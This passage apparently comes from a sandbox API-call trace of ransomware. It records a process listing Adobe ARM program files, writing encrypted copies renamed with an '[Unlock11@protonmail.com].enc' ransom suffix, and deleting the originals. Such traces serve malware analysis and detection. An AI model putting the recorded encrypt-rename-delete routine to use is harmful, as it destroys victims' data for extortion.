(x86)\\Common Files\\Adobe\\ARM\\1.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0197.489] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.489] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x11e018, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0197.489] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x67628, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AdobeARMHelper.exe", cAlternateFileName="ADOBEA~1.EXE")) returned 1 [0197.490] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb378ff7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x14810, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="armsvc.exe", cAlternateFileName="")) returned 1 [0197.490] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Cache", cAlternateFileName="")) returned 1 [0197.490] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Cache", cAlternateFileName="")) returned 0 [0197.490] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0197.491] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe")) returned 0x20 [0197.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0197.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0197.492] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearmhelper.exe")) returned 0x20 [0197.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0197.493] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe")) returned 0x20 [0197.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0197.494] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\cache")) returned 0x10 [0197.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0197.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0197.495] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe", lpFilePart=0x9bada4*="AdobeARM.exe") returned 0x3e [0197.495] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x11e018)) returned 1 [0197.496] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0197.496] GetFileType (hFile=0x334) returned 0x1 [0197.496] GetFileType (hFile=0x334) returned 0x1 [0197.496] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.496] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.496] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.497] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.497] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.497] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.497] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.497] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0197.497] GetFileType (hFile=0x39c) returned 0x1 [0197.497] GetFileType (hFile=0x39c) returned 0x1 [0197.498] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.498] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.498] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.498] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.498] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.498] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.498] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.584] CloseHandle (hObject=0x39c) returned 1 [0197.585] CloseHandle (hObject=0x334) returned 1 [0197.585] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe")) returned 1 [0197.587] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe", lpFilePart=0x9bada4*="AdobeARMHelper.exe") returned 0x44 [0197.587] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearmhelper.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x67628)) returned 1 [0197.588] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearmhelper.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0197.588] GetFileType (hFile=0x334) returned 0x1 [0197.588] GetFileType (hFile=0x334) returned 0x1 [0197.588] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.589] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.589] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.589] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.589] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearmhelper.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0197.589] GetFileType (hFile=0x39c) returned 0x1 [0197.589] GetFileType (hFile=0x39c) returned 0x1 [0197.590] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.606] CloseHandle (hObject=0x39c) returned 1 [0197.606] CloseHandle (hObject=0x334) returned 1 [0197.606] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARMHelper.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearmhelper.exe")) returned 1 [0197.610] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe", lpFilePart=0x9bada4*="armsvc.exe") returned 0x3c [0197.611] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb378ff7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x14810)) returned 1 [0197.611] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0197.611] GetFileType (hFile=0x334) returned 0x1 [0197.611] GetFileType (hFile=0x334) returned 0x1 [0197.611] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.612] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0197.613] GetFileType (hFile=0x39c) returned 0x1 [0197.613] GetFileType (hFile=0x39c) returned 0x1 [0197.613] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.633] CloseHandle (hObject=0x39c) returned 1 [0197.633] CloseHandle (hObject=0x334) returned 1 [0197.633] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe")) returned 1 [0197.636] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0197.636] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.637] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910cfa2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x910cfa2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x910cfa2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0xd6e00, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Arm_001824245926_1644620493770141623153545149044142307.msi", cAlternateFileName="ARM_00~1.MSI")) returned 1 [0197.637] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910cfa2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x910cfa2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x910cfa2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0xd6e00, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Arm_001824245926_1644620493770141623153545149044142307.msi", cAlternateFileName="ARM_00~1.MSI")) returned 0 [0197.637] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0197.637] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\cache\\arm_001824245926_1644620493770141623153545149044142307.msi")) returned 0x20 [0197.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbd10 | out: hHeap=0x2ad0000) returned 1 [0197.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0197.639] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi", lpFilePart=0x9bada4*="Arm_001824245926_1644620493770141623153545149044142307.msi") returned 0x72 [0197.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0197.639] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\cache\\arm_001824245926_1644620493770141623153545149044142307.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910cfa2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x910cfa2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x910cfa2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0xd6e00)) returned 1 [0197.640] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0197.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0197.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0197.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0197.640] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\cache\\arm_001824245926_1644620493770141623153545149044142307.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0197.641] GetFileType (hFile=0x334) returned 0x1 [0197.641] GetFileType (hFile=0x334) returned 0x1 [0197.641] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.642] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.642] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.642] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.642] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.642] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.642] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\cache\\arm_001824245926_1644620493770141623153545149044142307.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0197.645] GetFileType (hFile=0x39c) returned 0x1 [0197.645] GetFileType (hFile=0x39c) returned 0x1 [0197.645] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.646] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.646] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.646] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.646] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.646] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.646] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.947] CloseHandle (hObject=0x39c) returned 1 [0197.948] CloseHandle (hObject=0x334) returned 1 [0197.949] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\Arm_001824245926_1644620493770141623153545149044142307.msi" (normalized: "c:\\program files (x86)\\common 